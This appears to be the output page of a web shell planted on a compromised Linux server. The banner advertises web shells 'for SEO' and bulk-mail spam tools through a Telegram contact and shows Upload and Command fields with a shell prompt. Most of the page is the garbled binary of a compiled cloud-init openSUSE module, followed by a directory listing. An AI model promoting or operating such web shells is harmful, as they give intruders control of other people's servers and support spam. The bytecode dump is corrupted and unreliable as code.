__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h�'���SSKrSSKrSSKJrJrJrJr SSKJr SSKJ	r
 SSKJr SSK
JrJr \R "\5r"SS\R&5rg)	�N)�distros�helpers�subp�util)�PackageList)�	rhel_util)�HostnameConf)�
PER_ALWAYS�PER_INSTANCEc���\rSrSrSrSrS/rSrSrSr	Sr
S	rS
SSS
SSSS.S.0rSr
S$SjrS\4SjrS%SjrSrSS.SjrS$SjrSrSrSrS rS!r\S"5rS#rg)&�Distro�z/etc/sysconfig/clockz
/etc/HOSTNAME�servicez/etc/sysconfig/languagez/etc/sysconfig/network/configz
/etc/hostnamez/etc/locale.confz/etc/localtime�	sysconfigzetc/sysconfig/network/config�susez%(base)s/network/ifcfg-%(name)sz3etc/udev/rules.d/85-persistent-net-cloud-init.rulesz!%(base)s/network/ifroute-%(name)s)�ipv4�ipv6)�control�flavor�iface_templates�
netrules_path�route_templatesc���[RRXX#5 [R"U5UlSUlSUlSUlSUS'UR5(aS/Ul
SUS'gg)NrF�sshd�ssh_svcname�	systemctlzsshd.service)rr
�__init__r�Runners�_runner�osfamily�
update_method�read_only_root�uses_systemd�init_cmd)�self�name�cfg�pathss    �</usr/lib/python3/dist-packages/cloudinit/distros/opensuse.pyr�Distro.__init__/sn��������C�7����u�-�����
�!���#���#��M�������(�M�D�M�!/�C�
���Nc��UR5(aU(dURnSU0nOU(dURnSU0n[R"X#5 g)N�LANG�RC_LANG)r#�systemd_locale_conf_fn�locale_conf_fn�rhutil�update_sysconfig_file)r%�locale�out_fn�
locale_cfgs    r)�apply_locale�Distro.apply_locale:sO���������4�4�� �&�)�J���,�,��#�V�,�J��$�$�V�8r+�pkglistc�&�URSSUS9 g)N�installz--auto-agree-with-licenses)�args�pkgs)�package_command)r%r8s  r)�install_packages�Distro.install_packagesEs������8�w�	�	
r+c���Uc/nUR5 UR(a&URS:Xd[R	S5 gURS:XaSS/nO/SQnUS:XaSnU(dURS:XaUS:XaSn/S	QnUS
:XaSS/nURU5 U(a'[
U[5(aURU5 O-U(a&[
U[5(aURU5 [R"SU5nURU5 [R"USS
9 URS:Xa[RS5 gg)N�
transactionalzUPackage operation requested but read only root without btrfs and transactional-updata�zypper�--non-interactive)�transactional-updaterC�--drop-if-no-change�pkg�upgrade�update�up)rDrCrE�refreshz%s-%sF)�capturez8To use/activate the installed packages reboot the system)�_set_update_methodr"r!�LOG�error�append�
isinstance�str�list�extendr�expand_package_listr�info)r%�commandr;r<�cmdr8s      r)r=�Distro.package_commandJsC���<��D����!����t�'9�'9�_�'L��I�I�9�
�
�����)��0�1�C��C��i���G���"�"�o�5��8�#��G��C��i���0�1�C��
�
�7���J�t�S�)�)��J�J�t��
�j��t�,�,��J�J�t���*�*�7�D�9���
�
�7��	
�	�	�#�u�%�����0��H�H�J�
�1r+c�n�URU5nUR5(aA[R"UR5 [R
"X R5 gS[
U50n[R"URU5 [R"X R5 g)N�TIMEZONE)�
_find_tz_filer#r�del_file�tz_local_fn�sym_linkrQr1r2�
clock_conf_fn�copy)r%�tz�tz_file�	clock_cfgs    r)�set_timezone�Distro.set_timezone�s����$�$�R�(�������
�M�M�$�*�*�+��M�M�'�#3�#3�4��C��G��I�
�(�(��);�);�Y�G��I�I�g�/�/�0r+F)�forcec�t�URRSURS/U(a[O[S9 g)Nzupdate-sourcesrJ)�freq)r�runr=r
r)r%rfs  r)�update_package_sources�Distro.update_package_sources�s1��������� � �
�K�$��,�		�	
r+c��UR5(a:URS5(a$[R"U5R	5$UR5(a-[
R
"S/5up4[
U5(aU$U$URU5nURnW(dU$U$![a Nf=f)N�/previous-hostname�hostname)
r#�endswithr�load_text_file�stripr�len�_read_hostname_confrn�IOError)r%�filename�default�out�_err�confrns       r)�_read_hostname�Distro._read_hostname�s��������8�#4�#4�5I�#J�#J��&�&�x�0�6�6�8�8�
�
�
�
 �
 ��)�)�Z�L�1�K�S��3�x�x��
���
��/�/��9���=�=������O��	�
��
�s�B;�;
C�Cc��g)Nz	127.0.1.1�)r%s r)�_get_localhost_ip�Distro._get_localhost_ip�s��r+c�d�[[R"U55nUR5 U$�N)r	rrp�parse)r%rurys   r)rs�Distro._read_hostname_conf�s%���D�/�/��9�:���
�
���r+c��UR5(a
URnOURnXRU54$r�)r#�systemd_hostname_conf_fn�hostname_conf_fnrz)r%�host_fns  r)�_read_system_hostname�Distro._read_system_hostname�s;��������3�3�G��+�+�G��,�,�W�5�6�6r+c�&�URGc[R"S5nSnU(a�Uup2n[R"S5R	S5nUHOnURU5(dMUR	5nUSU:waM6USRS5Ul O UR5S	:Xa,[RRS
5(aSUlgSUlg[RS
5 SUlgg)z7Decide if we want to use transactional-update or zypperN�/�z/proc/mounts�
���ro�btrfsz/usr/sbin/transactional-updaterArBz7Could not determine filesystem type of '/' using zypper)
r!r�get_mount_inforp�split�
startswithr"�lower�os�path�existsrMrU)r%�result�fs_type�devpth�mount_point�mounts�mount�
mount_infos        r)rL�Distro._set_update_method�s������%��(�(��-�F��G��17�.��+��,�,�^�<�B�B�4�H��#�E��'�'��/�/�%*�[�[�]�
�%�a�=�K�7�$�.8��m�.F�.F�t�.L��+��
$��=�=�?�g�-�"�'�'�.�.�4�3�3�*9�D�&�)1�D�&����M��&.��"�1&r+c��[R"URSS5nUR5(a-UR	S5(a[R
"X!5 gUR5(aNU(a#[R"SS[U5/5 g[R"SSS[U5/5 gSnURU5nU(d[S5nURU5 [R
"U[U5S	5 g![a! U(aNX[RS5 gf=f)
N�create_hostname_fileTrm�hostnamectlzset-hostnamez--transientz7create_hostname_file is False; hostname file notcreatedr�i�)r�get_cfg_option_bool�_cfgr#ro�
write_filerrQrsrtrMrUr	�set_hostname)r%rnrur�rys     r)�_write_hostname�Distro._write_hostname�s��#�7�7��I�I�-�t� 
�������8�#4�#4�5I�#J�#J��O�O�H�/�
�
�
�
 �
 �#��	�	�=�.�#�h�-�H�I��	�	�%�&�%��H�
�	���D�
��/�/��9���#�B�'�����h�'��O�O�H�c�$�i��7���
�'���H�H�"���
�s�D!�!E�4E�Ec�.�UR(dy[R"5SnUSn[USR	S5S5nUS:�aSU;dUS:�a!SU;aUS:wa/SQUlUR$/S	QUlUR$)
z5The preferred ntp client is dependent on the version.�distrr��.��openSUSE�*)�chrony�systemd-timesyncd�ntp)r�r�r�)�_preferred_ntp_clientsr�system_info�intr�)r%�distro_infor&�	major_vers    r)�preferred_ntp_clients�Distro.preferred_ntp_clientss���
�*�*��*�*�,�V�4�K��q�>�D��K��N�0�0��5�a�8�9�I��R��J�d�$:��R��J�$�$6�9��?�/��+��*�*�*�
/��+��*�*�*r+)r�rr$r r"r!r�)NN)�__name__�
__module__�__qualname__�__firstlineno__r_r�r$r0�network_conf_fnr�r/r]�renderer_configsrr6rr>r=rdrjrzr~rsr�rLr��propertyr��__static_attributes__r}r+r)r
r
s���*�M�&���{�H�.�N�5�O�.��/��"�K��5��@�E�<�;� �
�
��	0�	9�
��
�
;�z1� /4�
��&��
7�.�8$8�L�+��+r+r
)�loggingr��	cloudinitrrrr�cloudinit.distrosrrr1�"cloudinit.distros.parsers.hostnamer	�cloudinit.settingsr
r�	getLoggerr�rMr
r}r+r)�<module>r�sA���	�2�2�)�1�;�7�
����!��G+�W�^�^�G+r+

Filemanager

Name Type Size Permission Actions
OpenCloudOS.cpython-313.pyc File 771 B 0644
TencentOS.cpython-313.pyc File 769 B 0644
__init__.cpython-313.pyc File 67.79 KB 0644
almalinux.cpython-313.pyc File 466 B 0644
alpine.cpython-313.pyc File 23.96 KB 0644
amazon.cpython-313.pyc File 753 B 0644
aosc.cpython-313.pyc File 6.55 KB 0644
arch.cpython-313.pyc File 6.42 KB 0644
azurelinux.cpython-313.pyc File 2.99 KB 0644
bsd.cpython-313.pyc File 9.11 KB 0644
bsd_utils.cpython-313.pyc File 1.91 KB 0644
centos.cpython-313.pyc File 463 B 0644
cloudlinux.cpython-313.pyc File 467 B 0644
cos.cpython-313.pyc File 462 B 0644
debian.cpython-313.pyc File 11.51 KB 0644
dragonflybsd.cpython-313.pyc File 566 B 0644
eurolinux.cpython-313.pyc File 466 B 0644
fedora.cpython-313.pyc File 463 B 0644
freebsd.cpython-313.pyc File 10.38 KB 0644
gentoo.cpython-313.pyc File 5.91 KB 0644
mariner.cpython-313.pyc File 2.01 KB 0644
miraclelinux.cpython-313.pyc File 469 B 0644
netbsd.cpython-313.pyc File 7.05 KB 0644
networking.cpython-313.pyc File 16.54 KB 0644
openbsd.cpython-313.pyc File 3.25 KB 0644
openeuler.cpython-313.pyc File 767 B 0644
openmandriva.cpython-313.pyc File 471 B 0644
opensuse-leap.cpython-313.pyc File 474 B 0644
opensuse-microos.cpython-313.pyc File 477 B 0644
opensuse-tumbleweed.cpython-313.pyc File 480 B 0644
opensuse.cpython-313.pyc File 10.61 KB 0644
photon.cpython-313.pyc File 6.95 KB 0644
rhel.cpython-313.pyc File 8.36 KB 0644
rhel_util.cpython-313.pyc File 1.57 KB 0644
rocky.cpython-313.pyc File 462 B 0644
sle-micro.cpython-313.pyc File 470 B 0644
sle_hpc.cpython-313.pyc File 468 B 0644
sles.cpython-313.pyc File 465 B 0644
suse.cpython-313.pyc File 463 B 0644
ubuntu.cpython-313.pyc File 3.22 KB 0644
ug_util.cpython-313.pyc File 7.93 KB 0644
virtuozzo.cpython-313.pyc File 466 B 0644
Filemanager